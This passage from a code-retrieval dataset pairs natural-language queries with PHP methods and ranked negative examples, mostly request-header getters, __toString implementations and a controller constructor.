"public static function getHeaders()\n {\n if (!isset(self::$_data[self::KEY_HEADERS]))\n {\n $_listHeaders = array();\n foreach ($_SERVER as $_key => $_value)\n {\n if (substr($_key, 0, 5) == \"HTTP_\")\n {\n $_key = str_replace('_', ' ', substr($_key, 5));\n $_key = str_replace(' ', '-', ucwords(strtolower($_key)));\n $_listHeaders[$_key] = $_value;\n }\n }\n self::$_data[self::KEY_HEADERS] = $_listHeaders;\n }\n return self::$_data[self::KEY_HEADERS];\n }",
"public static function get_headers() {\n if (function_exists('apache_request_headers')) {\n // we need this to get the actual Authorization: header\n // because apache tends to tell us it doesn't exist\n $headers = apache_request_headers();\n\n // sanitize the output of apache_request_headers because\n // we always want the keys to be Cased-Like-This and arh()\n // returns the headers in the same case as they are in the\n // request\n $out = array();\n foreach( $headers AS $key => $value ) {\n $key = str_replace(\n \" \",\n \"-\",\n ucwords(strtolower(str_replace(\"-\", \" \", $key)))\n );\n $out[$key] = $value;\n }\n } else {\n // otherwise we don't have apache and are just going to have to hope\n // that $_SERVER actually contains what we need\n $out = array();\n if( isset($_SERVER['CONTENT_TYPE']) )\n $out['Content-Type'] = $_SERVER['CONTENT_TYPE'];\n if( isset($_ENV['CONTENT_TYPE']) )\n $out['Content-Type'] = $_ENV['CONTENT_TYPE'];\n\n foreach ($_SERVER as $key => $value) {\n if (substr($key, 0, 5) == \"HTTP_\") {\n // this is chaos, basically it is just there to capitalize the first\n // letter of every word that is not an initial HTTP and strip HTTP\n // code from przemek\n $key = str_replace(\n \" \",\n \"-\",\n ucwords(strtolower(str_replace(\"_\", \" \", substr($key, 5))))\n );\n $out[$key] = $value;\n }\n }\n }\n return $out;\n }",
"protected function getAllHeaders()\n {\n $headers = array();\n\n $copy_server = array(\n 'CONTENT_TYPE' => 'Content-Type',\n 'CONTENT_LENGTH' => 'Content-Length',\n 'CONTENT_MD5' => 'Content-Md5',\n );\n\n foreach ($_SERVER as $key => $value) {\n if (substr($key, 0, 5) === 'HTTP_') {\n $key = substr($key, 5);\n if (!isset($copy_server[$key]) || !isset($_SERVER[$key])) {\n $key = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', $key))));\n $headers[$key] = $value;\n }\n } elseif (isset($copy_server[$key])) {\n $headers[$copy_server[$key]] = $value;\n }\n }\n\n if (!isset($headers['Authorization'])) {\n if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) {\n $headers['Authorization'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION'];\n } elseif (isset($_SERVER['PHP_AUTH_USER'])) {\n $auth_user = $_SERVER['PHP_AUTH_USER'];\n $auth_pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';\n $auth = base64_encode(\"$auth_user:$auth_pass\");\n $headers['Authorization'] = \"Basic $auth\";\n } elseif (isset($_SERVER['PHP_AUTH_DIGEST'])) {\n $headers['Authorization'] = $_SERVER['PHP_AUTH_DIGEST'];\n }\n }\n\n return $headers;\n }",
"protected function getHeaders()\n {\n //Return headers\n return collect($this->headers)->merge([\n 'X-Watson-Learning-Opt-Out' => config('personality-insights.x_watson_learning_opt_out'),\n ])->all();\n }",
"public function getRequestHeaders()\n {\n $headers = [];\n\n // If getallheaders() is available, use that\n if (function_exists('getallheaders')) {\n $headers = getallheaders();\n\n // getallheaders() can return false if something went wrong\n if ($headers !== false) {\n return $headers;\n }\n }\n\n // Method getallheaders() not available or went wrong: manually extract 'm\n foreach ($_SERVER as $name => $value) {\n if ((substr($name, 0, 5) == 'HTTP_') || ($name == 'CONTENT_TYPE') || ($name == 'CONTENT_LENGTH')) {\n $headers[str_replace([' ', 'Http'], ['-', 'HTTP'], ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;\n }\n }\n\n return $headers;\n }",
"protected function ResolveHeaders() {\n\n $this->Headers= array();\n foreach($this->GetOption('RequestContext')->SERVER as $Key => $Value) {\n if (strncmp($Key, 'HTTP_', 5) === 0) {\n $Key= substr($Key, 5);\n } elseif (strncmp($Key, 'CONTENT_', 8) !== 0) {\n continue;\n }\n $Key= str_replace('_', '-', $Key);\n $this->Headers[$Key]= $Value;\n }\n }",
"#[Pure]\nfunction http_get_request_headers() {}",
"public static function GetHeaders()\n {\n if (!function_exists('getallheaders')) {\n $headers = [];\n foreach ($_SERVER as $name => $value) {\n if (substr($name, 0, 5) == 'HTTP_') {\n $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;\n }\n }\n\n return $headers;\n }\n\n return getallheaders();\n }",
"public function getHttpHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders(): array\n {\n if ($this->headers === null) {\n foreach ($_SERVER as $name => $value) {\n if (strncmp($name, 'HTTP_', 5) === 0) {\n $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))));\n $this->headers[$name] = $value;\n }\n }\n\n return $this->headers;\n }\n\n return $this->headers;\n }",
"public function get_request_headers() {\n\t\tif ( ! function_exists( 'getallheaders' ) ) {\n\t\t\t$headers = array();\n\n\t\t\tforeach ( $_SERVER as $name => $value ) {\n\t\t\t\tif ( 'HTTP_' === substr( $name, 0, 5 ) ) {\n\t\t\t\t\t$headers[ str_replace( ' ', '-', ucwords( strtolower( str_replace( '_', ' ', substr( $name, 5 ) ) ) ) ) ] = $value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $headers;\n\t\t} else {\n\t\t\treturn getallheaders();\n\t\t}\n\t}",
"function request_headers() {\n\t\t$headers = array();\n\t\tforeach( $_SERVER as $key => $value ) {\n\t\t\tif( substr( $key, 0, 5 ) !== 'HTTP_' ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$key = str_replace( ' ', '-', ucwords( underscore( substr( $key, 5 ), ' ' ) ) );\n\t\t\t$key = preg_replace_callback( '/\\b(TE|DNT|MD5)\\b/i',function($matches){ return strtoupper($matches[0]); }, $key );\n\t\t\t$headers[$key] = $value;\n\t\t}\n\t\treturn $headers;\n\t}",
"private static function getHeaders( )\n\t{\n\t\tif ( \\function_exists( 'apache_request_headers' ) === true )\n\t\t{\n\t\t\treturn \\apache_request_headers( );\n\t\t}\n\n\t\tforeach ( $_SERVER as $key => $value )\n\t\t{\n\t\t\tif ( substr( $key, 0, 5 ) === 'HTTP_' )\n\t\t\t{\n\t\t\t\t$headers[str_replace( ' ', '-', ucwords( strtolower( str_replace( '_', ' ', substr( $key, 5 ) ) ) ) )] = $value;\n\t\t\t}\n\t\t\telseif ( $key === 'CONTENT_TYPE' || $key === 'CONTENT_LENGTH' )\n\t\t\t{\n\t\t\t\t$headers[str_replace( '_', '-', ucwords( strtolower( $key ) ) )] = $value;\n\t\t\t}\n\t\t}\n\n\t\tif ( isset( $headers ) === true )\n\t\t{\n\t\t\treturn $headers;\n\t\t}\n\n\t\treturn false;\n\t}",
"private function get_request_headers(){\n $headers = array();\n foreach ($_SERVER as $name => $value){\n if (substr($name, 0, 5) == 'HTTP_'){\n $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;\n }\n }\n return $headers;\n }",
"public function getRequestHeaders()\n {\n return curl_getinfo($this->res, CURLINFO_HEADER_OUT);\n }",
"function getHeaders() {\n\t\treturn $this->getData('headers');\n\t}",
"public function getHttpHeaders()\n {\n return $this->httpHeaders;\n }",
"public function headers(): array\n\t{\n\t\t// If no headers are defined, but the user is\n\t\t// requesting it, then it's likely they want\n\t\t// it to be populated so do that...\n\t\tif (empty($this->headers))\n\t\t{\n\t\t\t$this->populateHeaders();\n\t\t}\n\n\t\treturn $this->headers;\n\t}",
"public function getResponseHeaders();",
"public function getHeaders() {\n\t\treturn $this->getHeader();\n\t}",
"public function getHeaders()\n {\n $headers[\"HTTP/1.1 $this->_status\"] = true;\n\n if ($this->_status == '200 OK') {\n $headers[\"Connection: close\"] = true;\n $headers[\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\"] = true;\n\n // Try to keep browser from caching any screen to ensure current data.\n if ($this->_preventCache && !isset($this->_headers[\"Expires: 0\"])) {\n $headers[\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\"] = true;\n $headers[\"Cache-Control: no-store, no-cache, must-revalidate\"] = true;\n $headers[\"Pragma: no-cache\"] = true;\n }\n }\n return array_merge($this->_headers, $headers);\n }",
"public function getHttpHeaders()\n\t\t{\n\t\t\treturn $this->httpHeaders;\n\t\t}",
"private static function getHeaders() {\n\t\t$_hdr=array();\n\t\tforeach ($_SERVER as $_key=>$_val)\n\t\t\tif (substr($_key,0,5)=='HTTP_') {\n\t\t\t\t$_hdr[preg_replace_callback(\n\t\t\t\t\t'/\\w+\\b/',\n\t\t\t\t\tfunction($_word) {\n\t\t\t\t\t\treturn ucfirst(strtolower($_word[0]));\n\t\t\t\t\t},\n\t\t\t\t\tstr_replace('_','-',substr($_key,5))\n\t\t\t\t)]=$_val;\n\t\t\t}\n\t\treturn $_hdr;\n\t}",
"public static function getRequestHeaders()\n {\n // If getallheaders() is available, use that\n if (function_exists('getallheaders')) {\n return getallheaders();\n }\n\n // If getallheaders() is not available, use that\n $headers = [];\n foreach ($_SERVER as $name => $value) {\n if ((substr($name, 0, 5) == 'HTTP_') || ($name == 'CONTENT_TYPE') || ($name == 'CONTENT_LENGTH')) {\n $headers[str_replace(array(' ', 'Http'), array('-', 'HTTP'), ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;\n }\n }\n\n return $headers;\n }",
"protected function readHeaders()\n {\n $ret = [];\n foreach ($this->environment as $key => $value) {\n # Note: the content-type and content-length headers always come\n # after the `CONTENT_TYPE` and `CONTENT_LENGTH` values in the\n # $_SERVER superglobal; if you use the values for the non `HTTP_...`\n # version, they will just be overwritten by the `HTTP_` version.\n if (strpos($key, \"HTTP_\") === 0) {\n $key = substr($key, 5);\n $key = strtolower($key);\n $key = str_replace(\"_\", \"-\", $key);\n $ret[$key] = $value;\n }\n }\n return $ret;\n }",
"protected function getHeaders()\n {\n return $this->headers;\n }",
"protected function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders() {\n\t\treturn $this->response_headers;\n\t}",
"public function getHeaders()\n {\n return $this->source['headers'];\n }",
"public function getHeaders(): array;",
"public function getHeaders(): array;",
"public function getHeaders(): array;",
"public function getHeaders(): array;",
"public function getHeaders(): array;",
"public function getHeaders(): array;",
"public function getHeaders(): array;",
"public function getHeaders()\r\n {\r\n return $this->headers;\r\n }",
"public function getHeaders()\r\n {\r\n return $this->headers;\r\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function headers()\r\n {\r\n return $this->headers;\r\n }",
"public function headers()\r\n {\r\n return $this->headers;\r\n }",
"public function getHeaders() {\n if (!isset($this->rawHeaders) && isset($this->query['opts'][CURLOPT_WRITEHEADER])) {\n rewind($this->query['opts'][CURLOPT_WRITEHEADER]);\n $headersRaw = stream_get_contents($this->query['opts'][CURLOPT_WRITEHEADER]);\n $headers = explode(\"\\n\", rtrim($headersRaw));\n $this->rawHeaders['result'] = trim(array_shift($headers));\n\n foreach ($headers AS $header) {\n \t\t$parts = array_map('trim', explode(':', $header, 2));\n $name = $parts[0];\n $value = '';\n if (!empty($parts[1])) {\n $value = $parts[1];\n }\n $name = strtolower($name);\n $this->rawHeaders[$name] = $value;\n }\n }\n return $this->rawHeaders;\n }",
"function getHeaders(){ return $this->_Headers; }",
"public function getRequestHeaders() {\n \n return $this->amfRequest->getHeaders();\n\n }",
"public function getHeaders()\n {\n return $this->wrapped->getHeaders();\n }",
"public function getHeaders() {\r\n return $this->headers;\r\n }",
"function getallheaders()\n{\n if (array_key_exists('getallheaders_return', $GLOBALS)) {\n return $GLOBALS['getallheaders_return'];\n }\n\n return \\getallheaders();\n}",
"public function getHeaders() \n {\n return $this->headers;\n }",
"public function headers() {\n return $this->headers;\n }",
"protected static function get_response_headers()\n {\n }",
"public function getHeaders()\r\n {\r\n return $this->_headers;\r\n }",
"public function headers()\n {\n return $this->headers;\n }",
"public function getHeaders()\r\n\t{\r\n\t\treturn $this->headers;\r\n\t}",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }",
"public function getHeaders()\n {\n return $this->headers;\n }"
] | [
"0.8166378",
"0.7995215",
"0.79878",
"0.7985806",
"0.791373",
"0.791373",
"0.791373",
"0.791373",
"0.791373",
"0.791373",
"0.791373",
"0.791373",
"0.791373",
"0.791373",
"0.7843086",
"0.78335077",
"0.78126305",
"0.78091323",
"0.7781555",
"0.77712834",
"0.77432436",
"0.77317667",
"0.7728335",
"0.7710032",
"0.7693785",
"0.7693785",
"0.7692364",
"0.76687115",
"0.7654474",
"0.7654474",
"0.76252294",
"0.76096493",
"0.76038724",
"0.75914073",
"0.75410604",
"0.7535839",
"0.75290364",
"0.7523987",
"0.7516773",
"0.7512207",
"0.7495862",
"0.7494771",
"0.7493083",
"0.7471864",
"0.7470071",
"0.7460387",
"0.74295527",
"0.7420662",
"0.741067",
"0.74097544",
"0.7394737",
"0.7380614",
"0.7372059",
"0.73717946",
"0.736807",
"0.73569834",
"0.7356563",
"0.73557234",
"0.73492986",
"0.7338429",
"0.73341995",
"0.7319607",
"0.7319256",
"0.73166686",
"0.73166686",
"0.73163164",
"0.73037845",
"0.73030406",
"0.73030406",
"0.73030406",
"0.73030406",
"0.73030406",
"0.73030406",
"0.73030406",
"0.7281169",
"0.7281169",
"0.7275005",
"0.7275005",
"0.7263714",
"0.7263714",
"0.725868",
"0.72519225",
"0.7247979",
"0.7246882",
"0.7245408",
"0.7238274",
"0.72314054",
"0.7230366",
"0.72279996",
"0.72109365",
"0.7209107",
"0.7207377",
"0.72050685",
"0.72050685",
"0.72050685",
"0.72050685",
"0.72050685",
"0.72050685",
"0.72050685",
"0.72050685",
"0.72050685"
] | 0.0 | -1 |
Creates a representation of the entity for debugging | public function createRepresentation($entity)
{
$this->checkObject($entity);
if (method_exists($entity, '__toString')) {
return (string) $entity;
}
return get_class($entity) . ':' . $this->getIdentifier($entity);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function __toString()\n {\n return $this->toJson(['pretty' => true]);\n }",
"public function __toString() {\n $context = array();\n foreach ($this->properties as $key => $value) {\n if ($value instanceof \\DateTime) {\n $context[] = \"$key=\".$value->format('Y-m-d\\TH:i:s');\n } else { \n $context[] = \"$key=$value\";\n }\n }\n return '[ Fire.Business.Model.ExternalAccount: ' . implode(' ', $context) . ' ]';\n }",
"public function __toString() {\n return \"{ \" . $this->id .\n \", \" . $this->parent_id .\n \", \" . $this->post_id .\n \", \" . $this->username .\n \", \" . $this->message .\n \", \" . $this->timestamp .\n \", \" . $this->ip .\n \", \" . $this->is_deleted .\n \", \" . $this->is_hidden .\n \" }\";\n }",
"public function __toString() {\n\t\t$str = \"\";\n\t\t$str .= \"EntityMapperClassName: \" . $this->_entityMapperClassName . \"<br />\";\n\t\t$str .= \"EntityRelatedMapperClassName: \" . $this->_entityRelatedMapperClassName . \"<br />\";\n\t\t$str .= \"EntityRelatedPk: \" . $this->_entityRelatedPk. \"<br />\";\t\t\t\n\t\treturn $str;\t\t\t\n\t}",
"public function __tostring() {\n\n\t\t\t//convet to string\n\t\t\treturn \"{\".\n\t\t\t\t\t\t\"id:\".$this->_id.\n\t\t\t\t\t\t\"type:\".$this->_type.\n\t\t\t\t\t\t\"path:\".$this->_path.\n\t\t\t\t\t\t\"name:\".$this->_name.\n\t\t\t\t\t\"}\";\n\n\t\t}",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n {\n return $this->toJson();\n }",
"public function __toString()\n\t{\n\t\treturn $this->dump();\n\t}",
"public function __toString() {\n $context = array();\n foreach ($this->properties as $key => $value) {\n if ($value instanceof \\DateTime) {\n \t$context[] = \"$key=\".$value->format('Y-m-d\\TH:i:s');\n } else { \n \t$context[] = \"$key=$value\";\n }\n }\n return '[ Fire.Business.Model.User: ' . implode(' ', $context) . ' ]';\n }",
"public function __toString()\n {\n return $this->build();\n }",
"public function __toString()\n\t{\n\t\treturn \n\t\t\t'$id\t\t\t\t: ' . $this->id .\t\t\t\t'<br/>' .\n\t\t\t'$id_person\t\t\t: ' . $this->id_person .\t\t\t'<br/>' .\n\t\t\t'$aanvraag\t\t\t: ' . $this->aanvraag .\t\t\t'<br/>' .\n\t\t\t'$invitation\t\t: ' . $this->invitation\t . '<br/>' .\n\t\t\t'$invitationSent\t: ' . $this->invitationSent . '<br/>' .\n\t\t\t'$reaction\t: ' . $this->reaction . '<br/>';\n\t\t\t'$emailadres\t: ' . $this->emailadres . '<br/>';\n\t}",
"public function __toString() {\n\t\treturn get_class($this) . '-object ' . \"\\n\" .\n\t\t\t 'attributes: ' . print_r($this->attributes, 1) . \"\\n\";\n\t}",
"function __toString(){\n return \"(\" . $this -> id . \",\"\n . $this -> title . \",\"\n . $this -> description . \")\";\n }",
"public function __toString() {\n\t\treturn $this->debug();\n\t}",
"public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) { // use JSON pretty print\n return json_encode(\\Ory\\Hydra\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n }\n\n return json_encode(\\Ory\\Hydra\\ObjectSerializer::sanitizeForSerialization($this));\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }",
"public function __toString()\n {\n return json_encode(\n ObjectSerializer::sanitizeForSerialization($this),\n JSON_PRETTY_PRINT\n );\n }"
] | [
"0.6549239",
"0.6469744",
"0.63973427",
"0.6382272",
"0.630916",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.6307581",
"0.62991804",
"0.6269175",
"0.62598354",
"0.6250641",
"0.6212905",
"0.62102425",
"0.62079155",
"0.6188667",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525",
"0.61710525"
] | 0.64506644 | 2 |
Create a new controller instance. | public function __construct()
{
$this->middleware('auth');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function createController()\n {\n $this->createClass('controller');\n }",
"protected function createController()\n {\n $controller = Str::studly(class_basename($this->getNameInput()));\n\n $modelName = $this->qualifyClass('Models/'.$this->getNameInput());\n\n $this->call('make:controller', array_filter([\n 'name' => \"{$controller}Controller\",\n '--model' => $modelName,\n '--api' => true,\n ]));\n }",
